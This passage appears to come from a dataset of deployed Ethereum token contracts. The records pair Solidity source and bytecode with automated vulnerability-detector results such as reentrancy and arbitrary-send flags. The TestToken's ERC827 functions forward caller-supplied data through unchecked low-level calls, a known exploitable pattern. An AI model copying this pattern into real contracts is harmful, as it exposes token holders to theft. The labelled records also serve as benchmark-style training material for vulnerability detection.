3cc81612762565b946020939093013593505050565b6000602082840312156123ec57600080fd5b610a9c826122b0565b60006020828403121561240757600080fd5b5035919050565b6000806040838503121561242157600080fd5b823591506123a5602084016122b0565b60008060006060848603121561244657600080fd5b505081359360208301359350604090920135919050565b60008060006060848603121561247257600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b818110156124b85785810183015185820160400152820161249c565b818111156124ca576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526017908201527f54726164696e67206e6f7420656e61626c656420796574000000000000000000604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561259c5784516001600160a01b031683529383019391830191600101612577565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156125d0576125d0612736565b500190565b6000826125f257634e487b7160e01b600052601260045260246000fd5b500490565b600181815b8085111561263257816000190482111561261857612618612736565b8085161561262557918102915b93841c93908002906125fc565b509250929050565b6000610a9c60ff84168360008261265357506001610ca0565b8161266057506000610ca0565b816001811461267657600281146126805761269c565b6001915050610ca0565b60ff84111561269157612691612736565b50506001821b610ca0565b5060208310610133831016604e8410600b84101617156126bf575081810a610ca0565b6126c983836125f7565b80600019048211156126dd576126dd612736565b029392505050565b60008160001904831182151516156126ff576126ff612736565b500290565b60008282101561271657612716612736565b500390565b600060001982141561272f5761272f612736565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461111557600080fdfea2646970667358221220444229ee3eb0aaeeadeb4bcb47238c16ef0b9119059293d057bebad03758273f64736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
7,614
0x7bd83a0188e3ecd303efd83e91b652fee0b149e1
pragma solidity ^0.4.21; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract ERC827 is ERC20 { function approve( address _spender, uint256 _value, bytes _data ) public returns (bool); function transfer( address _to, uint256 _value, bytes _data ) public returns (bool); function transferFrom( address _from, address _to, uint256 _value, bytes _data ) public returns (bool); } contract ERC827Token is ERC827, StandardToken { /** @dev Addition to ERC20 token methods. It allows to approve the transfer of value and execute a call with the sent data. Beware that changing an allowance with this method brings the risk that someone may use both the old and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 @param _spender The address that will spend the funds. @param _value The amount of tokens to be spent. @param _data ABI-encoded contract call to call `_to` address. @return true if the call function was executed successfully */ function approve(address _spender, uint256 _value, bytes _data) public returns (bool) { require(_spender != address(this)); super.approve(_spender, _value); require(_spender.call(_data)); return true; } /** @dev Addition to ERC20 token methods. Transfer tokens to a specified address and execute a call with the sent data on the same transaction @param _to address The address which you want to transfer to @param _value uint256 the amout of tokens to be transfered @param _data ABI-encoded contract call to call `_to` address. @return true if the call function was executed successfully */ function transfer(address _to, uint256 _value, bytes _data) public returns (bool) { require(_to != address(this)); super.transfer(_to, _value); require(_to.call(_data)); return true; } /** @dev Addition to ERC20 token methods. Transfer tokens from one address to another and make a contract call on the same transaction @param _from The address which you want to send tokens from @param _to The address which you want to transfer to @param _value The amout of tokens to be transferred @param _data ABI-encoded contract call to call `_to` address. @return true if the call function was executed successfully */ function transferFrom(address _from, address _to, uint256 _value, bytes _data) public returns (bool) { require(_to != address(this)); super.transferFrom(_from, _to, _value); require(_to.call(_data)); return true; } /** * @dev Addition to StandardToken methods. Increase the amount of tokens that * an owner allowed to a spender and execute a call with the sent data. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. * @param _data ABI-encoded contract call to call `_spender` address. */ function increaseApproval(address _spender, uint _addedValue, bytes _data) public returns (bool) { require(_spender != address(this)); super.increaseApproval(_spender, _addedValue); require(_spender.call(_data)); return true; } /** * @dev Addition to StandardToken methods. Decrease the amount of tokens that * an owner allowed to a spender and execute a call with the sent data. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. * @param _data ABI-encoded contract call to call `_spender` address. */ function decreaseApproval(address _spender, uint _subtractedValue, bytes _data) public returns (bool) { require(_spender != address(this)); super.decreaseApproval(_spender, _subtractedValue); require(_spender.call(_data)); return true; } } contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific amount of tokens. * @param _value The amount of token to be burned. */ function burn(uint256 _value) public { require(_value <= balances[msg.sender]); // no need to require value <= totalSupply, since that would imply the // sender&#39;s balance is greater than the totalSupply, which *should* be an assertion failure address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply_ = totalSupply_.sub(_value); Burn(burner, _value); Transfer(burner, address(0), _value); } } contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); Mint(_to, _amount); Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; MintFinished(); return true; } } /** * @title DAOToken, based on zeppelin contract. * @dev ERC20 compatible token. It is a mintable and burnable token. */ contract TestToken is ERC827Token, MintableToken, BurnableToken { string public name; string public symbol; uint8 public constant decimals = 18; uint public cap; /** * @dev Constructor * @param _name - token name * @param _symbol - token symbol * @param _cap - token cap - 0 value means no cap */ function TestToken(string _name, string _symbol,uint _cap) public { name = _name; symbol = _symbol; cap = _cap; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { if (cap > 0) require(totalSupply_.add(_amount) <= cap); return super.mint(_to, _amount); } }
0x6060604052600436106101325763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461013757806306fdde031461015e578063095ea7b3146101e857806316ca3b631461020a57806318160ddd1461026f57806323b872dd14610294578063313ce567146102bc578063355274ea146102e557806340c10f19146102f857806342966c681461031a5780635c17f9f414610332578063661884631461039757806370a08231146103b95780637272ad49146103d85780637d64bcb41461043d5780638da5cb5b1461045057806395d89b411461047f578063a9059cbb14610492578063ab67aa58146104b4578063be45fd6214610520578063d73dd62314610585578063dd62ed3e146105a7578063f2fde38b146105cc575b600080fd5b341561014257600080fd5b61014a6105eb565b604051901515815260200160405180910390f35b341561016957600080fd5b6101716105fb565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101ad578082015183820152602001610195565b50505050905090810190601f1680156101da5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101f357600080fd5b61014a600160a060020a0360043516602435610699565b341561021557600080fd5b61014a60048035600160a060020a03169060248035919060649060443590810190830135806020601f8201819004810201604051908101604052818152929190602084018383808284375094965061070595505050505050565b341561027a57600080fd5b6102826107bf565b60405190815260200160405180910390f35b341561029f57600080fd5b61014a600160a060020a03600435811690602435166044356107c5565b34156102c757600080fd5b6102cf610933565b60405160ff909116815260200160405180910390f35b34156102f057600080fd5b610282610938565b341561030357600080fd5b61014a600160a060020a036004351660243561093e565b341561032557600080fd5b6103306004356109b0565b005b341561033d57600080fd5b61014a60048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610a9795505050505050565b34156103a257600080fd5b61014a600160a060020a0360043516602435610ac4565b34156103c457600080fd5b610282600160a060020a0360043516610bbe565b34156103e357600080fd5b61014a60048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610bd995505050505050565b341561044857600080fd5b61014a610c06565b341561045b57600080fd5b610463610c91565b604051600160a060020a03909116815260200160405180910390f35b341561048a57600080fd5b610171610ca0565b341561049d57600080fd5b61014a600160a060020a0360043516602435610d0b565b34156104bf57600080fd5b61014a600160a060020a036004803582169160248035909116916044359160849060643590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610e0b95505050505050565b341561052b57600080fd5b61014a60048035600160a060020a03169060248035919060649060443590810190830135806020601f82018190048102016040519081016040528181529291906020840183838082843750949650610ec795505050505050565b341561059057600080fd5b61014a600160a060020a0360043516602435610ef4565b34156105b257600080fd5b610282600160a060020a0360043581169060243516610f98565b34156105d757600080fd5b610330600160a060020a0360043516610fc3565b60035460a060020a900460ff1681565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106915780601f1061066657610100808354040283529160200191610691565b820191906000526020600020905b81548152906001019060200180831161067457829003601f168201915b505050505081565b600160a060020a03338116600081815260026020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b600030600160a060020a031684600160a060020a03161415151561072857600080fd5b6107328484610ef4565b5083600160a060020a03168260405180828051906020019080838360005b83811015610768578082015183820152602001610750565b50505050905090810190601f1680156107955780820380516001836020036101000a031916815260200191505b509150506000604051808303816000865af191505015156107b557600080fd5b5060019392505050565b60015490565b6000600160a060020a03831615156107dc57600080fd5b600160a060020a03841660009081526020819052604090205482111561080157600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561083457600080fd5b600160a060020a03841660009081526020819052604090205461085d908363ffffffff61105e16565b600160a060020a038086166000908152602081905260408082209390935590851681522054610892908363ffffffff61107016565b600160a060020a03808516600090815260208181526040808320949094558783168252600281528382203390931682529190915220546108d8908363ffffffff61105e16565b600160a060020a038086166000818152600260209081526040808320338616845290915290819020939093559085169160008051602061117c8339815191529085905190815260200160405180910390a35060019392505050565b601281565b60065481565b60035460009033600160a060020a0390811691161461095c57600080fd5b60035460a060020a900460ff161561097357600080fd5b6000600654111561099f57600654600154610994908463ffffffff61107016565b111561099f57600080fd5b6109a9838361107f565b9392505050565b600160a060020a0333166000908152602081905260408120548211156109d557600080fd5b5033600160a060020a0381166000908152602081905260409020546109fa908361105e565b600160a060020a038216600090815260208190526040902055600154610a26908363ffffffff61105e16565b600155600160a060020a0381167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca58360405190815260200160405180910390a26000600160a060020a03821660008051602061117c8339815191528460405190815260200160405180910390a35050565b600030600160a060020a031684600160a060020a031614151515610aba57600080fd5b6107328484610699565b600160a060020a03338116600090815260026020908152604080832093861683529290529081205480831115610b2157600160a060020a033381166000908152600260209081526040808320938816835292905290812055610b58565b610b31818463ffffffff61105e16565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526020819052604090205490565b600030600160a060020a031684600160a060020a031614151515610bfc57600080fd5b6107328484610ac4565b60035460009033600160a060020a03908116911614610c2457600080fd5b60035460a060020a900460ff1615610c3b57600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790557fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0860405160405180910390a150600190565b600354600160a060020a031681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106915780601f1061066657610100808354040283529160200191610691565b6000600160a060020a0383161515610d2257600080fd5b600160a060020a033316600090815260208190526040902054821115610d4757600080fd5b600160a060020a033316600090815260208190526040902054610d70908363ffffffff61105e16565b600160a060020a033381166000908152602081905260408082209390935590851681522054610da5908363ffffffff61107016565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a031660008051602061117c8339815191528460405190815260200160405180910390a350600192915050565b600030600160a060020a031684600160a060020a031614151515610e2e57600080fd5b610e398585856107c5565b5083600160a060020a03168260405180828051906020019080838360005b83811015610e6f578082015183820152602001610e57565b50505050905090810190601f168015610e9c5780820380516001836020036101000a031916815260200191505b509150506000604051808303816000865af19150501515610ebc57600080fd5b506001949350505050565b600030600160a060020a031684600160a060020a031614151515610eea57600080fd5b6107328484610d0b565b600160a060020a033381166000908152600260209081526040808320938616835292905290812054610f2c908363ffffffff61107016565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60035433600160a060020a03908116911614610fde57600080fd5b600160a060020a0381161515610ff357600080fd5b600354600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60008282111561106a57fe5b50900390565b6000828201838110156109a957fe5b60035460009033600160a060020a0390811691161461109d57600080fd5b60035460a060020a900460ff16156110b457600080fd5b6001546110c7908363ffffffff61107016565b600155600160a060020a0383166000908152602081905260409020546110f3908363ffffffff61107016565b600160a060020a0384166000818152602081905260409081902092909255907f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d41213968859084905190815260200160405180910390a2600160a060020a038316600060008051602061117c8339815191528460405190815260200160405180910390a3506001929150505600ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820c7476d1a929084044022146fefa9d2c839853d47af2563936ff5ed56629a01740029
{"success": true, "error": null, "results": {}}
7,615
0x6E765D26388A17A6e86c49A8E41DF3F58aBcd337
/** *Submitted for verification at Etherscan.io on 2021-02-15 */ /* ---------------------------------------------------------------------------- Kangal Token Contract A real decentralized community token with 100% tokens in starting Uniswap supply and locked away for 10 years, no minting functions. Further information on kangaltoken.com BTW Kangal really is a cool dog breed, and arguably the strongest. Symbol : KANGAL Name : Kangal Total supply : 100000000000 Decimals : 18 Deployer Account : 0x63c67Ba2aa323e47eddDB3952990CF41768a679c ---------------------------------------------------------------------------- */ // SPDX-License-Identifier: UNLICENSED pragma solidity ^0.8.0; /** * This project does not require SafeMath library because Solidity version used is 0.8.0 * and it has safe implementations of arithmetic operators used in this contract. * Further info: https://ethereum.stackexchange.com/questions/91367/is-the-safemath-library-obsolete-in-solidity-0-8-0 */ /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @dev Implementation of the {IERC20} interface. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; string private _name; string private _symbol; uint256 private _totalSupply; /** * @dev Sets the values for {name} and {symbol}. * * The defaut value of {decimals} is 18. To select a different value for * {decimals} you should overload it. * * All three of these values are immutable: they can only be set once during * construction. */ constructor () { _name = "Kangal"; _symbol = "KANGAL"; _totalSupply = 100000000000000000000000000000; _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } /** * @dev Returns the name of the token. */ function name() public view virtual returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view virtual returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless this function is * overloaded; * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view virtual returns (uint8) { return 18; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}. * * Requirements: * * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }
0x608060405234801561001057600080fd5b50600436106100935760003560e01c8063313ce56711610066578063313ce5671461013457806370a082311461015257806395d89b4114610182578063a9059cbb146101a0578063dd62ed3e146101d057610093565b806306fdde0314610098578063095ea7b3146100b657806318160ddd146100e657806323b872dd14610104575b600080fd5b6100a0610200565b6040516100ad9190610d99565b60405180910390f35b6100d060048036038101906100cb9190610a78565b610292565b6040516100dd9190610d7e565b60405180910390f35b6100ee6102b0565b6040516100fb9190610e7b565b60405180910390f35b61011e60048036038101906101199190610a29565b6102ba565b60405161012b9190610d7e565b60405180910390f35b61013c6103bb565b6040516101499190610e96565b60405180910390f35b61016c600480360381019061016791906109c4565b6103c4565b6040516101799190610e7b565b60405180910390f35b61018a61040c565b6040516101979190610d99565b60405180910390f35b6101ba60048036038101906101b59190610a78565b61049e565b6040516101c79190610d7e565b60405180910390f35b6101ea60048036038101906101e591906109ed565b6104bc565b6040516101f79190610e7b565b60405180910390f35b60606002805461020f90610fdf565b80601f016020809104026020016040519081016040528092919081815260200182805461023b90610fdf565b80156102885780601f1061025d57610100808354040283529160200191610288565b820191906000526020600020905b81548152906001019060200180831161026b57829003601f168201915b5050505050905090565b60006102a661029f610543565b848461054b565b6001905092915050565b6000600454905090565b60006102c7848484610716565b6000600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610312610543565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610392576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161038990610e1b565b60405180910390fd5b6103af8561039e610543565b85846103aa9190610f23565b61054b565b60019150509392505050565b60006012905090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b60606003805461041b90610fdf565b80601f016020809104026020016040519081016040528092919081815260200182805461044790610fdf565b80156104945780601f1061046957610100808354040283529160200191610494565b820191906000526020600020905b81548152906001019060200180831161047757829003601f168201915b5050505050905090565b60006104b26104ab610543565b8484610716565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156105bb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105b290610e5b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561062b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062290610ddb565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516107099190610e7b565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610786576040517f08c379a00000000000000000000000000000000